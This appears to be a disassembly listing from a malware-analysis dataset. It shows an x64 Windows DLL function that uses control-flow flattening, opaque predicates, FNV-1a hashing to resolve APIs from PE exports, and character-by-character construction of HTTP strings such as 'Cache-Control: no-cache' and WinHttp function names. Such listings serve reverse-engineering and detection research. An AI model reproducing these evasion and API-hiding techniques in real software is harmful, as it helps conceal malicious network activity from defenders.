Function at 0x1800b05a0
Capabilities:
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x4e8
mov r13d, r9d
mov qword [rsp + 0x108], r8
mov qword [rsp + 0x90], rdx
mov rax, qword [0x180128a08]
xor rax, rsp
mov qword [rsp + 0x4e0], rax
mov eax, 0xede17e55
lea r14, [rsp + 0x298]
lea r15, [rsp + 0x278]
mov dword [rsp + 0x84], ecx
mov qword [rsp + 0xa0], rcx
mov dword [rsp + 0xb4], r9d
jmp 0x1800b0630
cmp eax, 0x11ca6285
je 0x1800b0e4b
cmp eax, 0x13b4f788
jne 0x1800b0630
mov eax, 0xb8ce1bb5
mov dword [rsp + 0x84], 0
nop dword [rax + rax]
cmp eax, 0x11ca6284
jg 0x1800b0680
cmp eax, 0xcbaef6cf
jg 0x1800b0720
cmp eax, 0xa95a02a9
jg 0x1800b079c
cmp eax, 0x9f6937bb
jg 0x1800b0cfd
cmp eax, 0x8079cb10
je 0x1800b0e65
cmp eax, 0x983d6c75
je 0x1800b1181
cmp eax, 0x9f2effc0
jne 0x1800b0630
mov eax, 0x4deb4c1b
jmp 0x1800b0630
cmp eax, 0x3d4d9780
jg 0x1800b0760
cmp eax, 0x21f49a70
jle 0x1800b081c
cmp eax, 0x32aeb577
jg 0x1800b0d31
cmp eax, 0x21f49a71
je 0x1800b11c8
cmp eax, 0x29025825
je 0x1800b11d2
cmp eax, 0x2df8adf7
jne 0x1800b0630
mov rax, qword [rsp + 0x138]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov qword [rsp + 0xa0], rcx
mov rcx, qword [rsp + 0x90]
xor edx, edx
mov r8d, 0xffffffff
xor r9d, r9d
call rax
test eax, eax
mov rax, qword [rsp + 0xf8]
mov eax, 0xc66576bc
mov ecx, 0x66ed402c
cmove eax, ecx
jmp 0x1800b0630
cmp eax, 0xf47d6682
jle 0x1800b08cd
cmp eax, 0x65061f6
jg 0x1800b0d57
cmp eax, 0xf47d6683
je 0x1800b12c6
cmp eax, 0xfb8d1746
je 0x1800b12e0
cmp eax, 0xfc49a6a4
je 0x1800b0618
jmp 0x1800b0630
cmp eax, 0x56b915ac
jle 0x1800b0c8d
cmp eax, 0x6aa2b366
jg 0x1800b0d9a
cmp eax, 0x56b915ad
je 0x1800b12fa
cmp eax, 0x5c3e75ad
je 0x1800b176a
cmp eax, 0x66ed402c
je 0x1800b0618
jmp 0x1800b0630
cmp eax, 0xb8ce1bb4
jg 0x1800b0dc0
cmp eax, 0xa95a02aa
je 0x1800b1788
cmp eax, 0xac26ef62
je 0x1800b17a6
cmp eax, 0xb24f931e
jne 0x1800b0630
mov rcx, qword [rsp + 0x120]
call fcn.1800e9be0
mov rsi, rax
mov rcx, qword [rsp + 0x98]
call fcn.180108668
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x90]
mov r8d, eax
mov r9d, 0xa0000000
call rsi
test eax, eax
mov rax, qword [rsp + 0xd8]
mov eax, 0xfb8d1746
mov ecx, 0x13b4f788
cmove eax, ecx
jmp 0x1800b0630
cmp eax, 0x149762a7
jle 0x1800b0606
cmp eax, 0x149762a8
je 0x1800b17c4
cmp eax, 0x17b9f3e3
je 0x1800b1a7d
cmp eax, 0x1d7d3884
jne 0x1800b0630
mov rax, qword [rsp + 0xe0]
mov ecx, 0x66a53b08
lea rbx, [rsp + 0x1d8]
nop dword [rax]
cmp ecx, 0x45c64127
je 0x1800b1da1
cmp ecx, 0x66a53b08
jne 0x1800b0860
mov eax, 0x32175fe9
nop dword [rax]
cmp eax, 0x32175fe9
je 0x1800b0890
cmp eax, 0x9dbef50
jne 0x1800b0880
jmp 0x1800b0897
mov eax, 0x9dbef50
jmp 0x1800b0880
mov dword [rsp + 0x298], 0xb577
movsxd rax, dword [rsp + 0x298]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov ecx, 0x45c64127
jmp 0x1800b0860
cmp eax, 0xe0fb0948
jle 0x1800b0e01
cmp eax, 0xe0fb0949
je 0x1800b1e3d
cmp eax, 0xe78f0744
je 0x1800b1e5b
cmp eax, 0xede17e55
jne 0x1800b0630
lea rax, [rsp + 0x14c]
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov dword [rsp + 0x14c], 0
lea rax, [rsp + 0x2d0]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
mov word [rax], 0x9886
mov rsi, qword [rsp + 0x58]
mov rcx, r14
mov dx, 0x43
call fcn.1800c36d0
mov word [rsi + 2], ax
mov rcx, r14
mov dx, 0x61
call fcn.1800c36d0
mov word [rsi + 4], ax
add rsi, 6
mov qword [rsp + 0x48], rsi
mov word [rsp + 0x60], 0x63
mov eax, 0xcdc8f6e
nop dword [rax]
cmp eax, 0xe68ed4c
jle 0x1800b09b0
cmp eax, 0x48032da1
jle 0x1800b09f0
cmp eax, 0x48032da2
je 0x1800b1f54
cmp eax, 0x48bc42ab
jne 0x1800b0980
mov eax, 0xe24e4885
jmp 0x1800b0980
cmp eax, 0xa5ffd296
je 0x1800b0a26
cmp eax, 0xe24e4885
je 0x1800b0b08
cmp eax, 0xcdc8f6e
jne 0x1800b0980
mov eax, dword [0x180129748]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe68ed4d
mov ecx, 0xa5ffd296
jmp 0x1800b0af6
cmp eax, 0xe68ed4d
je 0x1800b0bd9
cmp eax, 0x3f0758b5
jne 0x1800b0980
mov word [rsi], 0
add rsi, 2
cmp rsi, qword [rsp + 0x70]
mov eax, 0x3f0758b5
mov ecx, 0x48032da2
cmove eax, ecx
jmp 0x1800b0980
movzx edx, word [rsp + 0x60]
mov rcx, r14
call fcn.1800c36d0
mov rcx, qword [rsp + 0x48]
mov word [rcx], ax
mov rdi, qword [rsp + 0x48]
mov rcx, r14
mov dx, 0x68
call fcn.1800c36d0
mov word [rdi + 2], ax
mov rcx, r14
mov dx, 0x65
call fcn.1800c36d0
mov word [rdi + 4], ax
mov rcx, r14
mov dx, 0x2d
call fcn.1800c36d0
mov word [rdi + 6], ax
mov rcx, r14
mov dx, 0x43
call fcn.1800c36d0
mov word [rdi + 8], ax
mov rcx, r14
mov dx, 0x6f
call fcn.1800c36d0
mov word [rdi + 0xa], ax
mov rcx, r14
mov dx, 0x6e
call fcn.1800c36d0
mov word [rdi + 0xc], ax
mov rcx, r14
mov dx, 0x74
call fcn.1800c36d0
mov word [rdi + 0xe], ax
mov rcx, r14
mov dx, WSAStartup
call fcn.1800c36d0
mov word [rdi + 0x10], ax
add rdi, 0x12
mov qword [rsp + 0x40], rdi
mov rcx, r14
mov dx, 0x6f
call fcn.1800c36d0
mov rcx, qword [rsp + 0x40]
mov word [rcx], ax
mov eax, dword [0x180129748]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe68ed4d
mov ecx, 0x48bc42ab
cmove eax, ecx
cmp dword [0x18012974c], 0xa
cmovl eax, ecx
jmp 0x1800b0980
mov rsi, qword [rsp + 0x40]
mov rcx, r14
mov dx, 0x6c
call fcn.1800c36d0
mov word [rsi + 2], ax
mov rcx, r14
mov dx, 0x3a
call fcn.1800c36d0
mov word [rsi + 4], ax
mov rcx, r14
mov dx, 0x20
call fcn.1800c36d0
mov word [rsi + 6], ax
mov rcx, r14
mov dx, 0x6e
call fcn.1800c36d0
mov word [rsi + 8], ax
mov rcx, r14
mov dx, 0x6f
call fcn.1800c36d0
mov word [rsi + 0xa], ax
mov rcx, r14
mov dx, 0x2d
call fcn.1800c36d0
mov word [rsi + 0xc], ax
mov rcx, r14
mov dx, 0x63
call fcn.1800c36d0
mov word [rsi + 0xe], ax
mov rcx, r14
mov dx, 0x61
call fcn.1800c36d0
mov word [rsi + 0x10], ax
mov rcx, r14
mov dx, 0x63
call fcn.1800c36d0
mov word [rsi + 0x12], ax
mov rcx, r14
mov dx, 0x68
call fcn.1800c36d0
mov word [rsi + 0x14], ax
mov rcx, r14
mov dx, 0x65
call fcn.1800c36d0
mov word [rsi + 0x16], ax
add rsi, 0x18
mov rax, qword [rsp + 0x58]
add rax, 0x32
mov qword [rsp + 0x70], rax
mov eax, 0x3f0758b5
jmp 0x1800b0980
movzx edx, word [rsp + 0x60]
mov rcx, r14
call fcn.1800c36d0
mov rcx, qword [rsp + 0x48]
mov word [rcx], ax
mov rdi, qword [rsp + 0x48]
mov rcx, r14
mov dx, 0x68
call fcn.1800c36d0
mov word [rdi + 2], ax
mov rcx, r14
mov dx, 0x65
call fcn.1800c36d0
mov word [rdi + 4], ax
mov rcx, r14
mov dx, 0x2d
call fcn.1800c36d0
mov word [rdi + 6], ax
mov rcx, r14
mov dx, 0x43
call fcn.1800c36d0
mov word [rdi + 8], ax
mov rcx, r14
mov dx, 0x6f
call fcn.1800c36d0
mov word [rdi + 0xa], ax
mov rcx, r14
mov dx, 0x6e
call fcn.1800c36d0
mov word [rdi + 0xc], ax
mov rcx, r14
mov dx, 0x74
call fcn.1800c36d0
mov word [rdi + 0xe], ax
mov rcx, r14
mov dx, WSAStartup
call fcn.1800c36d0
mov word [rdi + 0x10], ax
mov rcx, r14
mov dx, 0x6f
call fcn.1800c36d0
mov word [rdi + 0x12], ax
mov eax, 0xa5ffd296
jmp 0x1800b0980
cmp eax, 0x4deb4c1a
jle 0x1800b0e30
cmp eax, 0x4deb4c1b
je 0x1800b38d1
cmp eax, 0x4e3f98e0
je 0x1800b38fd
cmp eax, 0x54d02e8a
jne 0x1800b0630
mov r8, qword [rsp + 0x118]
mov rax, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x90]
mov r9d, 0xa0000000
call rax
test eax, eax
mov rax, qword [rsp + 0xd0]
mov eax, 0xe78f0744
mov ecx, 0xa95a02aa
cmove eax, ecx
jmp 0x1800b0630
cmp eax, 0x9f6937bc
je 0x1800b3907
cmp eax, 0xa46f5591
je 0x1800b3926
cmp eax, 0xa84cf03f
jne 0x1800b0630
mov eax, 0xb8ce1bb5
mov cl, 1
mov dword [rsp + 0x84], ecx
jmp 0x1800b0630
cmp eax, 0x32aeb578
je 0x1800b3944
cmp eax, 0x3472eca7
je 0x1800b0618
cmp eax, 0x3aedfae1
je 0x1800b0618
jmp 0x1800b0630
cmp eax, 0x65061f7
je 0x1800b395e
cmp eax, 0x65e8732
je 0x1800b3968
cmp eax, 0x7d5c591
jne 0x1800b0630
mov rax, qword [rsp + 0x100]
cmp byte [rsp + 0x8f], 0
mov eax, 0x5c3e75ad
mov ecx, 0x3aedfae1
cmovne eax, ecx
jmp 0x1800b0630
cmp eax, 0x6aa2b367
je 0x1800b3f69
cmp eax, 0x79a6ffaf
je 0x1800b453a
cmp eax, 0x7f7807ab
je 0x1800b0618
jmp 0x1800b0630
cmp eax, 0xc1d4b281
je 0x1800b4544
cmp eax, 0xc66576bc
jne 0x1800be03a
mov rax, qword [rsp + 0xa0]
mov dword [rsp + 0x88], eax
mov eax, dword [rsp + 0x88]
cmp eax, r13d
mov eax, 0xa84cf03f
mov ecx, 0xe0fb0949
cmovb eax, ecx
jmp 0x1800b0630
cmp eax, 0xcbaef6d0
je 0x1800b4661
cmp eax, 0xd6ccd718
jne 0x1800b0630
mov eax, 0xc66576bc
mov ecx, dword [rsp + 0xbc]
mov qword [rsp + 0xa0], rcx
jmp 0x1800b0630
cmp eax, 0x3d4d9781
je 0x1800b4756
cmp eax, 0x41d1804f
je 0x1800b0618
jmp 0x1800b0630
cmp byte [rsp + 0x8e], 0
mov eax, 0xc1d4b281
mov ecx, 0x41d1804f
cmovne eax, ecx
jmp 0x1800b0630
mov eax, r13d
sub eax, dword [rsp + 0x88]
cmp eax, 0x80000
mov ecx, 0x80000
cmovae eax, ecx
mov dword [rsp + 0x14c], eax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x100]
mov eax, 0x5506bd7c
cmp eax, 0x1109dce4
je 0x1800b4778
cmp eax, 0x5506bd7c
jne 0x1800b0ea0
mov ecx, 0xdfbe209
nop word [rax + rax]
cmp ecx, 0xeae3817
je 0x1800b0f0c
cmp ecx, 0xdfbe209
jne 0x1800b0ec0
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b0efb
cmp ecx, 0x698c8bdd
jne 0x1800b0ee0
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b0ee0
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x57
mov ecx, 0xeae3817
jmp 0x1800b0ec0
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x150], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b0f6c
cmp ecx, 0xdfbe209
jne 0x1800b0f20
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b0f5b
cmp ecx, 0x698c8bdd
jne 0x1800b0f40
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b0f40
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x69
mov ecx, 0xeae3817
jmp 0x1800b0f20
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x151], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b0fcc
cmp ecx, 0xdfbe209
jne 0x1800b0f80
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b0fbb
cmp ecx, 0x698c8bdd
jne 0x1800b0fa0
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b0fa0
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x6e
mov ecx, 0xeae3817
jmp 0x1800b0f80
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x152], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b102c
cmp ecx, 0xdfbe209
jne 0x1800b0fe0
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b101b
cmp ecx, 0x698c8bdd
jne 0x1800b1000
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1000
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x48
mov ecx, 0xeae3817
jmp 0x1800b0fe0
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x153], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b108c
cmp ecx, 0xdfbe209
jne 0x1800b1040
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b107b
cmp ecx, 0x698c8bdd
jne 0x1800b1060
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1060
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x74
mov ecx, 0xeae3817
jmp 0x1800b1040
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x154], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b10ec
cmp ecx, 0xdfbe209
jne 0x1800b10a0
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b10db
cmp ecx, 0x698c8bdd
jne 0x1800b10c0
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b10c0
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x74
mov ecx, 0xeae3817
jmp 0x1800b10a0
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x155], al
mov ecx, 0xdfbe209
cmp ecx, 0xeae3817
je 0x1800b114c
cmp ecx, 0xdfbe209
jne 0x1800b1100
mov dword [rsp + 0x40], 0
mov ecx, 0x698c8bdd
nop dword [rax]
cmp ecx, 0x1b304c9b
je 0x1800b113b
cmp ecx, 0x698c8bdd
jne 0x1800b1120
mov eax, dword [rsp + 0x40]
mov ecx, 0x1b304c9b
jmp 0x1800b1120
mov byte [rsp + 0x48], al
mov al, byte [rsp + 0x48]
add al, 0x70
mov ecx, 0xeae3817
jmp 0x1800b1100
mov byte [rsp + 0x40], al
mov al, byte [rsp + 0x40]
mov byte [rsp + 0x156], al
lea rax, [rsp + 0x157]
mov qword [rsp + 0x70], rax
lea rax, [0x18011fa45]
mov qword [rsp + 0x298], rax
mov eax, 0x1109dce4
jmp 0x1800b0ea0
mov rcx, qword [rsp + 0x128]
call fcn.1800e9be0
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x90]
mov r8d, 0xffffffff
mov r9d, 0xa0000000
call rax
test eax, eax
mov rax, qword [rsp + 0xe8]
mov eax, 0x3d4d9781
mov ecx, 0x7f7807ab
cmove eax, ecx
jmp 0x1800b0630
mov eax, 0xac26ef62
jmp 0x1800b0630
mov eax, dword [0x1801298a8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rsp + 0x48]
mov edi, dword [0x1801298ac]
mov ebx, 0xd2fca98e
mov eax, 0xebe17d3
cmove ebx, eax
cmp edi, 0xa
setl byte [rsp + 0x40]
cmovl ebx, eax
mov eax, 0x4e6cc85c
nop dword [rax]
cmp eax, 0x1fbde8f1
jg 0x1800b1240
cmp eax, 0xd2fca98e
je 0x1800b1272
cmp eax, 0xebe17d3
je 0x1800b1279
cmp eax, 0x18f93051
jne 0x1800b1210
jmp 0x1800b47ec
cmp eax, 0x1fbde8f2
je 0x1800b1280
cmp eax, 0x5f0dfb2f
je 0x1800b1284
cmp eax, 0x4e6cc85c
jne 0x1800b1210
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b1210
mov eax, 0x1fbde8f2
jmp 0x1800b1210
mov eax, 0x5f0dfb2f
jmp 0x1800b1210
mov eax, ebx
jmp 0x1800b1210
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b12a0
cmp eax, 0x3e50374a
jne 0x1800b1290
jmp 0x1800b12a7
mov eax, 0x3e50374a
jmp 0x1800b1290
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ebp, ax
mov eax, 0x18f93051
jmp 0x1800b1210
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x138], rax
mov eax, 0x2df8adf7
jmp 0x1800b0630
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0xe0], rax
mov eax, 0x1d7d3884
jmp 0x1800b0630
mov r9, qword [rsp + 0x140]
mov eax, dword [0x1801294f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1801294fc], 0xa
setl cl
or cl, al
mov r8d, 0x6b3afa7f
mov eax, 0xd9a22da7
cmovne r8d, eax
mov r10d, 0x6b3afa7f
mov eax, 0xa024a977
cmovne r10d, eax
mov r12d, 0xa01aa426
mov eax, 0x95eaf0dc
cmovne r12d, eax
mov edi, 0xa01aa426
mov eax, 0x9aca454
cmovne edi, eax
mov edx, 0x96d144b1
jmp 0x1800b1390
movsxd rcx, r11d
xor rcx, qword [rsp + 0x298]
movabs rax, 0x100000001b3
imul rcx, rax
mov eax, dword [rsp + 0x40]
add eax, 1
mov edx, 0x126ae241
nop word cs:[rax + rax]
mov esi, edx
cmp edx, 0x9aca453
jle 0x1800b13f0
cmp esi, 0x4bacb182
jle 0x1800b1440
cmp esi, 0x5751c9b6
jle 0x1800b14dc
cmp esi, 0x77e83218
jg 0x1800b15cd
cmp esi, 0x5751c9b7
je 0x1800b15f2
mov edx, esi
cmp esi, 0x6b3afa7f
jne 0x1800b1390
mov edx, dword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
mov edx, 0xa024a977
jmp 0x1800b1390
cmp esi, 0xba417c88
jg 0x1800b14a0
cmp esi, 0xa024a976
jg 0x1800b151a
cmp esi, 0x95eaf0dc
je 0x1800b15fc
cmp esi, 0x96d144b1
je 0x1800b160b
mov edx, esi
cmp esi, 0xa01aa426
jne 0x1800b1390
mov edx, 0x9aca454
jmp 0x1800b1390
cmp esi, 0x140ee926
jg 0x1800b1556
mov edx, r12d
cmp esi, 0x9aca454
je 0x1800b1390
cmp esi, 0x11a33ffd
je 0x1800b1615
mov edx, esi
cmp esi, 0x126ae241
jne 0x1800b1390
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x298], rcx
mov edx, dword [rsp + 0x48]
mov esi, dword [rsp + 0x40]
cmp esi, edx
mov edx, 0x77e83219
mov esi, 0x22a3f0a1
cmovb edx, esi
jmp 0x1800b1390
cmp esi, 0xdaa262c9
jg 0x1800b1596
cmp esi, 0xba417c89
je 0x1800b1361
cmp esi, 0xc68ca180
je 0x1800b1622
mov edx, esi
cmp esi, 0xd9a22da7
jne 0x1800b1390
mov edx, 0xf648bac2
jmp 0x1800b1390
cmp esi, 0x4bacb183
je 0x1800b164d
mov edx, r10d
cmp esi, 0x52c11306
je 0x1800b1390
mov edx, esi
cmp esi, 0x568f1370
jne 0x1800b1390
mov edx, dword [rsp + 0x48]
add edx, 1
mov dword [rsp + 0x68], edx
mov edx, 0xdaa262ca
jmp 0x1800b1390
cmp esi, 0xa024a977
je 0x1800b1663
cmp esi, 0xb3dd72df
je 0x1800b16a9
mov edx, esi
cmp esi, 0xb78226fb
jne 0x1800b1390
mov edx, dword [rsp + 0x54]
cmp edx, 0x7f
setl byte [rsp + 0x7e]
mov edx, 0xee7ccbb7
jmp 0x1800b1390
cmp esi, 0x140ee927
je 0x1800b16ce
cmp esi, 0x22a3f0a1
je 0x1800b16dd
mov edx, esi
cmp esi, 0x38d2119f
jne 0x1800b1390
cmp byte [rsp + 0x80], 0
mov edx, 0x140ee927
mov esi, 0x52c11306
cmovne edx, esi
jmp 0x1800b1390
mov edx, edi
cmp esi, 0xdaa262ca
je 0x1800b1390
cmp esi, 0xee7ccbb7
je 0x1800b16f3
mov edx, esi
cmp esi, 0xf648bac2
jne 0x1800b1390
mov edx, 0xba417c89
mov r11d, dword [rsp + 0x58]
jmp 0x1800b1390
cmp esi, 0x7f221d67
jne 0x1800b170a
mov edx, dword [rsp + 0x60]
cmp edx, 0x5b
setl byte [rsp + 0x80]
mov edx, 0x38d2119f
jmp 0x1800b1390
mov edx, 0x4bacb183
jmp 0x1800b1390
mov edx, 0xc68ca180
mov r14d, dword [rsp + 0x68]
jmp 0x1800b1390
mov edx, 0x11a33ffd
jmp 0x1800b1390
mov edx, 0xc68ca180
xor r14d, r14d
jmp 0x1800b1390
mov dword [rsp + 0x48], r14d
mov edx, dword [rsp + 0x48]
movsx edx, byte [r9 + rdx]
mov dword [rsp + 0x54], edx
mov edx, dword [rsp + 0x54]
cmp edx, 0x20
mov edx, 0x5751c9b7
mov esi, 0xb78226fb
cmovge edx, esi
jmp 0x1800b1390
mov edx, 0x126ae241
xor eax, eax
movabs rcx, 0xcbf29ce484222325
jmp 0x1800b1390
mov edx, dword [rsp + 0x60]
mov esi, edx
not esi
mov ebp, edx
and ebp, 0x4048890
mov ebx, esi
and ebx, 0x9021040a
or ebx, ebp
mov ebp, edx
and ebp, 0x6bda7345
and esi, 0x20
or esi, 0x6b822240
xor esi, ebp
or esi, ebx
and edx, 0x20
or edx, 0xfba3264a
xor edx, esi
mov dword [rsp + 0x58], edx
mov edx, r8d
jmp 0x1800b1390
mov rdx, qword [rsp + 0x70]
movsx edx, byte [rdx]
mov dword [rsp + 0x60], edx
mov edx, dword [rsp + 0x60]
cmp edx, 0x41
mov edx, 0x140ee927
mov esi, 0x7f221d67
cmovge edx, esi
jmp 0x1800b1390
mov edx, 0xba417c89
mov r11d, dword [rsp + 0x60]
jmp 0x1800b1390
mov edx, dword [rsp + 0x40]
add rdx, r9
mov qword [rsp + 0x70], rdx
mov edx, 0xb3dd72df
jmp 0x1800b1390
cmp byte [rsp + 0x7e], 0
mov edx, 0x5751c9b7
mov esi, 0x568f1370
cmovne edx, esi
jmp 0x1800b1390
mov edx, esi
cmp esi, 0x77e83219
jne 0x1800b1390
mov rcx, qword [rsp + 0x298]
call fcn.1800e9be0
mov r8d, dword [rsp + 0x14c]
mov edx, dword [rsp + 0x88]
add rdx, qword [rsp + 0x108]
mov rcx, qword [rsp + 0x90]
lea r9, [rsp + 0x14c]
call rax
test eax, eax
sete byte [rsp + 0x8f]
mov eax, 0x7d5c591
lea r14, [rsp + 0x298]
jmp 0x1800b0630
mov eax, dword [0x180129718]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9f2effc0
mov ecx, 0x4deb4c1b
jmp 0x1800bbdfd
mov eax, dword [0x180129718]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x21f49a71
mov ecx, 0xac26ef62
jmp 0x1800bbdfd
mov eax, dword [0x180129718]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x21f49a71
mov ecx, 0x3472eca7
jmp 0x1800bbdfd
lea rcx, [rsp + 0x180]
call fcn.1800c2570
lea rcx, [rsp + 0x2d0]
lea rdx, str._s__d
mov r8, rax
mov r9d, r13d
call fcn.1800ae920
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
mov byte [rax], 0x75
mov rsi, qword [rsp + 0x58]
mov rcx, r14
mov dl, 0x57
xor r8d, r8d
call fcn.1800c3c70
mov byte [rsi + 1], al
mov r8d, 1
mov rcx, r14
mov dl, 0x69
call fcn.1800c3c70
mov byte [rsi + 2], al
mov r8d, 2
mov rcx, r14
mov dl, 0x6e
call fcn.1800c3c70
mov byte [rsi + 3], al
mov r8d, 3
mov rcx, r14
mov dl, 0x48
call fcn.1800c3c70
mov byte [rsi + 4], al
mov r8d, 4
mov rcx, r14
mov dl, 0x74
call fcn.1800c3c70
mov byte [rsi + 5], al
mov r8d, 5
mov rcx, r14
mov dl, 0x74
call fcn.1800c3c70
mov byte [rsi + 6], al
mov r8d, 6
mov rcx, r14
mov dl, 0x70
call fcn.1800c3c70
mov byte [rsi + 7], al
mov r8d, 7
mov rcx, r14
mov dl, 0x41
call fcn.1800c3c70
mov byte [rsi + 8], al
mov r8d, 8
mov rcx, r14
mov dl, 0x64
call fcn.1800c3c70
mov byte [rsi + 9], al
mov r8d, 9
mov rcx, r14
mov dl, 0x64
call fcn.1800c3c70
mov byte [rsi + 0xa], al
mov r8d, 0xa
mov rcx, r14
mov dl, 0x52
call fcn.1800c3c70
mov byte [rsi + 0xb], al
mov r8d, reloc.WS2_32.dll_inet_addr
mov rcx, r14
mov dl, 0x65
call fcn.1800c3c70
mov byte [rsi + 0xc], al
mov r8d, 0xc
mov rcx, r14
mov dl, 0x71
call fcn.1800c3c70
mov byte [rsi + 0xd], al
mov r8d, 0xd
mov rcx, r14
mov dl, 0x75
call fcn.1800c3c70
mov byte [rsi + 0xe], al
add rsi, 0xf
mov qword [rsp + 0x48], rsi
mov r8d, 0xe
mov rcx, r14
mov dl, 0x65
call fcn.1800c3c70
mov byte [rsp + 0x68], al
mov eax, 0xdd191952
nop
cmp eax, 0x3dc28c0f
jle 0x1800b1950
cmp eax, 0x3dc28c10
je 0x1800b19e6
cmp eax, 0x5072fb8d
jne 0x1800b1930
jmp 0x1800b48e6
cmp eax, 0xdbb96065
je 0x1800b1a04
cmp eax, 0xdd191952
jne 0x1800b1930
mov rax, qword [rsp + 0x48]
movzx ecx, byte [rsp + 0x68]
mov byte [rax], cl
mov rdi, qword [rsp + 0x48]
mov r8d, 0xf
mov rcx, r14
mov dl, reloc.WS2_32.dll_WSAStartup
call fcn.1800c3c70
mov byte [rdi + 1], al
mov r8d, 0x10
mov rcx, r14
mov dl, 0x74
call fcn.1800c3c70
mov byte [rdi + 2], al
mov r8d, 0x11
mov rcx, r14
mov dl, 0x48
call fcn.1800c3c70
mov byte [rdi + 3], al
mov r8d, socket
mov rcx, r14
mov dl, 0x65
call fcn.1800c3c70
mov byte [rdi + 4], al
add rdi, 5
mov qword [rsp + 0x40], rdi
mov r8d, socket
mov rcx, r14
mov dl, 0x61
call fcn.1800c3c70
mov byte [rsp + 0x60], al
mov eax, 0xdbb96065
jmp 0x1800b1930
mov byte [rsi], 0
add rsi, 1
cmp rsi, qword [rsp + 0x70]
mov eax, 0x3dc28c10
mov ecx, 0x5072fb8d
cmove eax, ecx
jmp 0x1800b1930
mov rax, qword [rsp + 0x40]
movzx ecx, byte [rsp + 0x60]
mov byte [rax], cl
mov rsi, qword [rsp + 0x40]
mov r8d, socket
mov rcx, r14
mov dl, 0x64
call fcn.1800c3c70
mov byte [rsi + 1], al
mov r8d, socket
mov rcx, r14
mov dl, 0x65
call fcn.1800c3c70
mov byte [rsi + 2], al
mov r8d, socket
mov rcx, r14
mov dl, WSAStartup
call fcn.1800c3c70
mov byte [rsi + 3], al
mov r8d, reloc.WS2_32.dll_socket
mov rcx, r14
mov dl, reloc.WS2_32.dll_WSAStartup
